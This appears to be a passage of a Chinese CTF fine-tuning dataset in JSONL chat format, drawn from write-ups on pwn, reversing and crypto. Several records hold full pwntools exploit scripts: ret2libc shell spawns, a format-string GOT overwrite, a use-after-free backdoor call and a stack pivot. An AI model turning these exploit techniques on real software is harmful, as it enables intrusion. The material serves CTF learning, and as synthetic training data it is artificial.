"data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "ba5cc8034365cd99", "source_split": "train", "split": "train", "split_group_key": "2e8b2b4253d531c4265ca1ef", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3dd90f47acc75f9bb176", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“onCreate”？请用《2025强网杯 Qclac》中的内容回答。", "role": "user"}, {"content": "1. BridgeActivity 会读取上一个 Activity 传来的 intent。\n2. 也就是说 BridgeActivity  必须在上一层就传入一个`origIntent`，否则直接退出。\n3. 检查 intent flags：要求 origIntent 必须带 FLAG_ACTIVITY_NEW_TASK 。\n4. fallbackIntent 中确实加了`.addFlags(268435456);`，所以能通过检验。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "validation", "labels_normalized": ["ctf-method", "ctf"], "original_id": "chatml::validation::distilled_training_data::validation::93eb150fac086996", "original_line": 68, "original_split": "validation", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "onCreate", "source": "2025强网杯 Qclac.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/valid.jsonl", "source_path": "", "source_record_id": "93eb150fac086996", "source_split": "validation", "split": "train", "split_group_key": "551869ecebc7ee79a205ce3e", "tags": ["ctf-method"], "title": "2025强网杯 Qclac", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3eb26fe51ce03a049f0c", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“算法逻辑”？请用《AES》中的内容回答。", "role": "user"}, {"content": "1. 状态矩阵中的元素按照下面的方式映射为一个新的字节：把该字节的高4位作为行值，低4位作为列值，取出S盒或者逆S盒中对应的行的元素作为输出。例如，加密时，输出的字节S1为0x12,则查S盒的第0x01行和0x02列，得到值0xc9,然后替换S1原有的0x12为0xc9。状态矩阵经字节代换后的图如下：\n2. 逆字节代换也就是查逆 S 盒来变换，逆 S 盒如下：", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 2, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::c92b8d51b1c40035", "original_line": 932, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "算法逻辑", "source": "AES.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "c92b8d51b1c40035", "source_split": "train", "split": "train", "split_group_key": "466c12165c69522cb3bdeddb", "tags": ["crypto"], "title": "AES", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3ed4a6b06a2174e23e43", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“bjdctf2020babyrop”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“bjdctf2020babyrop”。\n语言/类型：python\n关联知识点：\n- 简单ret2libc\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\nfrom LibcSearcher import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\n\nrdi=0x0000000000400733\npayload=b'a'*40+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(elf.sym.main)\nr()\nsl(payload)\n\naddr=u64(ru(b'\\x7f')[-6:].ljust(8,b'\\x00'))\nprint(hex(addr))\nlibc=LibcSearcher(\"puts\",addr)\nbase=addr-libc.dump(\"puts\")\nsys=libc.dump(\"system\")+base\nsh=libc.dump(\"str_bin_sh\")+base\npayload=b'a'*40+p64(rdi)+p64(sh)+p64(sys)\nsl(payload)\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::3e39c2af96b8cf84", "original_line": 1045, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "bjdctf2020babyrop", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "3e39c2af96b8cf84", "source_split": "train", "split": "train", "split_group_key": "e858487c1fcc942c9a7f19a3", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3f4dcbe332506f165ca0", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《花指令：原理：反汇编算法的设计缺陷》中“多层跳转”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《花指令：原理：反汇编算法的设计缺陷》的“多层跳转”。\n关联知识点：\n- 和单次跳转一样，这种也会被ida识别。\n代码片段：\n```\n__asm{\n\tjmp s1;\n\t_emit 68h;\ns1:\n\tjmp s2;\n\t_emit 0cdh;\n\t_emit 20h;\ns2:\n\tjmp s3;\n\t_emit 0e8h;\ns3:\n}\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "test", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::test::distilled_training_data::test::737d0a4909423e4b", "original_line": 44, "original_split": "test", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "多层跳转", "source": "花指令.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/test.jsonl", "source_path": "", "source_record_id": "737d0a4909423e4b", "source_split": "test", "split": "train", "split_group_key": "dc50e5b03c1cece5db8952d1", "tags": ["reverse"], "title": "花指令：原理：反汇编算法的设计缺陷", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3f67c08c5baf7978131e", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“\\[LitCTF 2023\\]口算题卡”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“\\[LitCTF 2023\\]口算题卡”。\n语言/类型：python\n代码片段：\n```python\nfrom pwn import *\n\nio = remote('node4.anna.nssctf.cn',28699)\ncontext(arch='amd64', os='linux', log_level='debug')\n\nwhile 1:\n    try:\n        io.recvuntil(b'What is ')\n        line = io.recvline().strip(b'\\n').strip(b'?').decode()\n\n        expression = line\n        result = eval(expression)\n        io.sendline(str(result))\n    except:\n        io.close()\n        continue\nio.interactive()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::06fe22cb0bef8d08", "original_line": 786, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "\\[LitCTF 2023\\]口算题卡", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "06fe22cb0bef8d08", "source_split": "train", "split": "train", "split_group_key": "73381da62a243aeccef0050e", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3f9173d2b856c3247c18", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[HNCTF 2022 WEEK2]fmtstrlevel2”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Pwn：Stack / [HNCTF 2022 WEEK2]fmtstrlevel2\n关键词：fini_array、elf、ELF、libc、addr、;sh、base、system、HNCTF、WEEK2\n蒸馏要点：\n- 64位格式化字符串，got表可写\n- 第一次泄露libc基址和劫持`fini_array`为main\n- 程序自带的puts里有`;sh`，`;`分隔符，如果劫持puts的got表为system，则可以getshell\n可用于训练的标准回答：\n### [HNCTF 2022 WEEK2]fmtstrlevel2\n\n#A #格式化字符串 #GOT劫持\n64位格式化字符串，got表可写\n第一次泄露libc基址和劫持`fini_array`为main\n程序自带的puts里有`;sh`，`;`分隔符，如果劫持puts的got表为system，则可以getshell\n\n```python\n#!/usr/bin/env python3\nfrom pwncli import *\ncli_script()\n\nio: tube = gift.io\nelf: ELF = gift.elf\nlibc=ELF(\"./libc-2.31.so\")\n\nfini_array=0x4031f0\nru(\"ID\\n\")\n#0x11为泄露的libc偏移地址+aaa的长度，14+3=17\ns(b'%45$paaa' + fmtstr_payload(7, {fini_array:elf.sym.main},numbwritten = 0x11))\n\naddr=int(r(14),16)\nprint(hex(addr))\nbase=addr-libc.symbols[\"__libc_start_main\"]-243\n#base=addr-0x1f12e8\nsystem=base+libc.sym.system\nfmt=fmtstr_payload(6,{elf.got.puts:system})\nsla(b'ID\\n',fmt)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::0ab69c8f484af412", "original_line": 701, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[HNCTF 2022 WEEK2]fmtstrlevel2", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "0ab69c8f484af412", "source_split": "train", "split": "train", "split_group_key": "896a96332ea6f9ea854fc6e2", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3fd9fb9b3b91aff9721f", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pyc：pyc文件》中“使用key参数打包”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pyc：pyc文件》的“使用key参数打包”。\n语言/类型：python\n关联知识点：\n- 在使用 pyinstaller 的时候，可以使用 --key 参数对 pyc 进行加密然后再打包成 exe/elf。\n- 对于 pyinstaller =4.0 来说，使用该参数需要 tinyaes 库\n- 修改 test.py\n- `pyinstaller -F --key=this_is_a_secret test.py`\n- 对于这种被加密的我们需要进行解密。\n代码片段：\n```python\nc=123\ndef add(a,b):\n\treturn a+b\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "crypto", "ctf"], "original_id": "chatml::train::distilled_training_data::train::910f1f2d2e2f8e74", "original_line": 944, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "使用key参数打包", "source": "Pyc.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "910f1f2d2e2f8e74", "source_split": "train", "split": "train", "split_group_key": "2d4990fdbd941c1cd2a8da6d", "tags": ["reverse", "crypto"], "title": "Pyc：pyc文件", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-3ffeae08d1089a1f62d7", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Pwn：Stack》的“[[NISACTF 2022]UAF]”部分，提炼一条适合 SFT 的中文技术讲解样本（第 2 段）。", "role": "user"}, {"content": "出处：Pwn：Stack / [[NISACTF 2022]UAF]（第 2 段）\n关键词：chunk、page、puts、unsigned、esp、ebp、BYREF、readgsdword、PAGE、Input\n蒸馏要点：\n- 接下来分析`edit`函数\n- 函数通过输入相应`chunk`的标号来释放`chunk`，但是前面有一个检查，如果输入的标号等于零或大于`i`则不会执行修改程序。\n- 最后我们分析`show`函数\n- 程序通过标号查看相应`chunk`的内容，但是这里有一个非常关键的点。\n- 如果我们输入的标号为0，则并不会执行查看`chunk`的功能。\n- 但是会将`chunk`的内容作为函数指针执行。\n- `create`函数固定申请8字节`chunk`\n可用于训练的标准回答：\n```c\nunsigned int del()\n{\n  int v1; // [esp+8h] [ebp-10h] BYREF\n  unsigned int v2; // [esp+Ch] [ebp-Ch]\n\nv2 = __readgsdword(0x14u);\n  puts(\"Input page\");\n  __isoc99_scanf(\"%d\", &v1);\n  if ( v1  i )\n    puts(\"NO PAGE\");\n  else\n    free((&page)[v1]);                          // free后没有将指针置为null，存在uaf漏洞\n  return __readgsdword(0x14u) ^ v2;\n}\n```\n\n接下来分析`edit`函数\n\n函数通过输入相应`chunk`的标号来释放`chunk`，但是前面有一个检查，如果输入的标号等于零或大于`i`则不会执行修改程序。\n\n```c\nunsigned int edit()\n{\n  int v1; // [esp+8h] [ebp-10h] BYREF\n  unsigned int v2; // [esp+Ch] [ebp-Ch]\n\nv2 = __readgsdword(0x14u);\n  puts(\"Input page\");\n  __isoc99_scanf(\"%d\", &v1);\n  if ( v1  i )\n  {\n    puts(\"NO PAGE\");\n  }\n  else\n  {\n    puts(\"Input your strings\");\n    __isoc99_scanf(\"%s\", (&page)[v1]);          // 编辑page的内容，存在漏洞\n  }\n  return __readgsdword(0x14u) ^ v2;\n}\n```\n\n最后我们分析`show`函数\n\n程序通过标号查看相应`chunk`的内容，但是这里有一个非常关键的点。\n\n如果我们输入的标号为0，则并不会执行查看`chunk`的功能。\n\n但是会...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 1, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::f5ead5d0df23ca67", "original_line": 1038, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "[[NISACTF 2022]UAF]", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "f5ead5d0df23ca67", "source_split": "train", "split": "train", "split_group_key": "0696e996a76c0bfb2fa4256a", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4033b010d2f5971619fe", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "在 CTF 学习中，如何理解“TLS 回调函数绕过”？请用《反调试》中的内容回答。", "role": "user"}, {"content": "1. 存在 TLS 回调函数反调试的程序在当我们调试程序时会莫名其妙的退出，这是因为我们的 TLS 回调函数加了反调试代码。导致调试器调试程序退出。\n2. 这个时候我们就需要去除 TLS 反调试代码，使得程序可以动态调试。\n3. 通过 PEview 工具查看 TLS 程序文件结构，获取 TLS 在头部的地址。\n4. 然后使用 010 Editor 工具编辑文件，找到`0x1A0`位置。直接将这行十六个字节全部清零。\n5. 之后将数据段的内容也全部清零。\n6. 之后我们再次运行就没有 TLS 了。", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::06414f52356208dc", "original_line": 903, "original_split": "train", "record_family": "sft_chatml", "record_type": "qa_from_section", "section": "TLS 回调函数绕过", "source": "反调试.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "06414f52356208dc", "source_split": "train", "split": "train", "split_group_key": "b79254a0140942990d7ed9f8", "tags": ["reverse"], "title": "反调试", "type": "qa_from_section"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-41a28f8c5ead582840d4", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“hitcontraininguaf”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“hitcontraininguaf”。\n语言/类型：python\n关联知识点：\n- 程序为 32 位。\n- 首先分析 add 函数，发现如果 heap 数组指针为空则会首先申请一个 chunk 。然后将它指向一个打印函数。之后再申请用户可以控制的 chunk，然后向这个chunk写入内容。\n- delete 函数。\n- 这里释放掉了先前直接由程序申请的 chunk ，然后并没有将 heap 指针数组置为0，所以存在 uaf 漏洞。\n- 这里将 heap 指针数组当作函数调用，即如果指针数组指向的是一个函数那么就会调用这个函数。\n代码片段：\n```python\n#!/usr/bin/env python3\nfrom pwn import *\n\ndef dbg(c=0):\n    if c:\n        gdb.attach(io, c)\n    else:\n        gdb.attach(io)\n        pause()\n\ns = lambda data: io.send(data)\nsa = lambda text, data: io.sendafter(text, data)\nsl = lambda data: io.sendline(data)\nsla = lambda text, data: io.sendlineafter(text, data)\nr = lambda num=4096: io.recv(num)\nru = lambda text: io.recvuntil(text)\npr = lambda num=4096: print(io.recv(num))\nia = lambda: io.interactive()\nic = lambda: io.close()\nlg = lambda s, num: io.success('%s -> 0x%x' % (s, num))\n\nelf = ELF('hacknote')\nlibc = ELF('./libc-2.23.so')\nio = process(['/tools/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so',elf.path], env = {'LD_PRELOAD' : libc.path})\ncontext(os=elf.os, arch=elf.arch, log_level='debug')\n\ndef add(size, content):\n    ru(\":\")\n    sl(\"1\")\n    ru(\":\")\n    sl(str(size))\n    ru(\":\")\n    sl(content)\n\ndef dele(idx):\n    ru(\":\")\n    sl(\"2\")\n    ru(\":\")\n    sl(str(idx))\n\ndef show(idx):\n    ru(\":\")\n    sl(\"3\")\n    ru(\":\")\n    sl(str(idx))\n\ndef quit():\n    ru(\":\")\n    sl(\"4\")\n\nbackdoor=0x8048945\n\n#dbg()\nadd(0x20,b\"aaaa\")\nadd(0x20,b\"bbbb\")\n\ndele(0)\ndele(1)\n\nadd(8,p32(backdoor))\n\nshow(0)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::2070a8cbeb842a2c", "original_line": 1022, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "hitcontraininguaf", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "2070a8cbeb842a2c", "source_split": "train", "split": "train", "split_group_key": "bbe367f799ba4624a89dd4df", "tags": ["pwn", "ctf-method"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-4210e9d04ba1b3c780e1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《RSA与大数运算》的“乘法逆元”部分，提炼一条适合 SFT 的中文技术讲解样本（第 5 段）。", "role": "user"}, {"content": "出处：RSA与大数运算 / 乘法逆元（第 5 段）\n关键词：GMP、state、flag、RSA、- 编译、shell\ngcc demo.c -o demo -lgmp、结构体：、结构体是 GMP 库的核心类型，定义位于、include、mpz_t\n蒸馏要点：\n- GMP 逆向分析\n- 在动态编译的情况下，我们逆向时是可以直接通过符号来识别出所使用的 GMP 函数的。\n- 但是在静态链接并去除符号的情况下，我们就无法通过符号来识别出所使用的函数了。\n- `__mpz_struct`结构体：\n- `__mpz_struct`结构体是 GMP 库的核心类型，定义位于`mpz.h`头文件中，具体的内容会因 GMP 的版本不同而有所变化，但基本上，它包含了表示大整数所需要的所有数据，包括数值的大小、内存分配等信息。\n可用于训练的标准回答：\n- 实例\n\n```c\n#include\n#include\n#include\n\nint main() {\n    // 初始化 RSA 的公钥部分 n 和 e\n    mpz_t n, e;\n    mpz_t p, q;\n    unsigned long bits = 512;\n\n// 初始化 GMP 大数类型\n    mpz_inits(n, e, p, q, NULL);\n\n// 生成随机数生成器\n    gmp_randstate_t state;\n    gmp_randinit_mt(state);\n    gmp_randseed_ui(state, time(NULL));\n\n// 生成大素数 p 和 q\n    mpz_rrandomb(p, state, bits);\n    mpz_nextprime(p, p);\n\nmpz_rrandomb(q, state, bits);\n    mpz_nextprime(q, q);\n\n// 计算模数 n = p * q\n    mpz_mul(n, p, q);\n\n// 公钥指数 e 通常设置为 65537\n    mpz_init_set_str(e, \"65537\", 10);\n\n// 初始化消息和密文\n    char flag[] = \"[FLAG_REDACTED]\";\n    size_t len = sizeof(flag) - 1;\n\nmpz_t m, c;\n    mpz_inits(m, c, NULL);\n\n// 将明文消息转换为大整数 m\n    mpz_import(m, len, 1, sizeof(flag[0]), 0, 0, flag);\n\n// 使用 RSA 公钥加密消息\n    mpz_powm(c, m, e, n);\n\n// 输出加密后的密文\n    gmp_printf(\"Encrypted Message (Ciphertext): %Zd\\n\", c);\n\n// 清理内存\n    mpz_clears(n, e, p, q, m, c, NULL);...", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 4, "ctf_score": 14, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "reverse", "crypto", "ctf-method", "ctf"], "original_id": "chatml::train::distilled_training_data::train::18e6ca57d5ef75a7", "original_line": 634, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "乘法逆元", "source": "RSA与大数运算.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "18e6ca57d5ef75a7", "source_split": "train", "split": "train", "split_group_key": "cc2c317545158a08e3e3caf3", "tags": ["pwn", "reverse", "crypto", "ctf-method"], "title": "RSA与大数运算", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-426b73ba00eb3bb475d1", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "基于文章《Z3》的“常规使用”部分，提炼一条适合 SFT 的中文技术讲解样本。", "role": "user"}, {"content": "出处：Z3 / 常规使用\n关键词：result、- 化简表达式、- 当需要取出特定变量的时候，可以使用 Solver 求解器、import、Ints、simplify、Solver、add、check、sat\n蒸馏要点：\n- 当需要取出特定变量的时候，可以使用 Solver 求解器\n可用于训练的标准回答：\n### 常规使用\n\n- 解方程\n\n```python\nfrom z3 import *\na,b=Ints('a b')\n#solve函数\nsolve(a+b==10,a+3*b==12)\n```\n\n- 化简表达式\n\n```python\nfrom z3 import *\nx=Int('x')\ny=Int('y')\nprint (simplify(x + y + 2*x + 3))\nprint (simplify(x = 3, x**2 + x**2 + y**2 + 2 >= 5)))\n```\n\n- 当需要取出特定变量的时候，可以使用 Solver 求解器\n\n```python\nfrom z3 import *\na,b = Ints('a b')\n\ns=Solver()  #创建一个解的对象s\ns.add(a + b == 10)#添加约束条件\ns.add(a + 3 * b == 12)\n\nif s.check() == sat: #check() 检查解是否存在，存在会return 'sat'\n\tresult = s.model() #输出\n\nprint(result)\n\nprint(result[a])\nprint(result[b])\n```", "role": "assistant"}], "metadata": {"category": "misc", "chunk_index": 0, "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["reverse", "ctf"], "original_id": "chatml::train::distilled_training_data::train::1bca90d4e796200e", "original_line": 862, "original_split": "train", "record_family": "sft_chatml", "record_type": "section_explanation", "section": "常规使用", "source": "Z3.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "1bca90d4e796200e", "source_split": "train", "split": "train", "split_group_key": "4e01db6fcf46d2a599c7f547", "tags": ["reverse"], "title": "Z3", "type": "section_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": "train", "type": "ctf_lora_sft"}
{"category": "misc", "ctf_task_type": "misc", "dataset": "ctf-dataset", "id": "ctf-lora-42ce0128186edc3b5d57", "messages": [{"content": "你是 CTF 与安全技术训练数据助手。回答必须忠于给定文章内容，保留关键术语、命令、函数名和利用思路，避免编造未出现的事实。", "role": "system"}, {"content": "解释《Pwn：Stack》中“maigcread”部分出现的代码或命令片段，并说明它服务于什么 CTF 解题步骤。", "role": "user"}, {"content": "这段代码/命令来自《Pwn：Stack》的“maigcread”。\n语言/类型：python\n关联知识点：\n- 典型 bss 段栈迁移打 ret2libc。\n代码片段：\n```python\n#!/usr/bin/python3\nfrom pwncli import *\n\ncli_script()\nio=gift[\"io\"]\nelf=gift[\"elf\"]\nlibc=ELF(\"./libc-2.23.so\")\ncontext.arch=elf.arch\n\nrdi=0x0000000000400723\nret=0x00000000004004c6\nleave=0x400675\nbss=elf.bss()+0x500\nvuln=0x40063a\n\nr()\npay1=b'a'*64+p64(bss+0x40)+p64(leave)\ns(pay1)\npay1=b'a'*64+p64(bss+0x40+64)+p64(leave)\ns(pay1)\n\npay2=p64(bss+0x50)+p64(rdi)+p64(elf.got.puts)+p64(elf.plt.puts)+p64(0x400693)\ns(pay2)\n\nleak=u64(r(6)+b'\\x00'*2)\nbase=leak-libc.sym['puts']\nprint(hex(base))\nsys=base+libc.sym['system']\nsh=base+libc.search(\"/bin/sh\\x00\").__next__()\nprint(\"sh\",hex(sh))\nru(b\"just read!\\n\")\npay3=b'a'*64+p64(bss+0x90)+p64(leave)\ns(pay3)\npay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)\ns(pay4)\n\nia()\n```", "role": "assistant"}], "metadata": {"category": "misc", "ctf_score": 12, "ctf_task_type": "misc", "finetune_source_format": "chatml", "finetune_split": "train", "labels_normalized": ["pwn", "ctf"], "original_id": "chatml::train::distilled_training_data::train::12a9be34d21732c1", "original_line": 755, "original_split": "train", "record_family": "sft_chatml", "record_type": "code_explanation", "section": "maigcread", "source": "Pwn.md", "source_dataset": "security_finetune_mixture_v1", "source_domain": "ctf", "source_family": "local_ctf_wp", "source_file": "data/distilled_training_data/train.jsonl", "source_path": "", "source_record_id": "12a9be34d21732c1", "source_split": "train", "split": "train", "split_group_key": "d93d0d98e0fcd0adc3aa895d", "tags": ["pwn"], "title": "Pwn：Stack", "type": "code_explanation"}, "source_dataset": "security_finetune_mixture_v1", "source_path": "", "split": 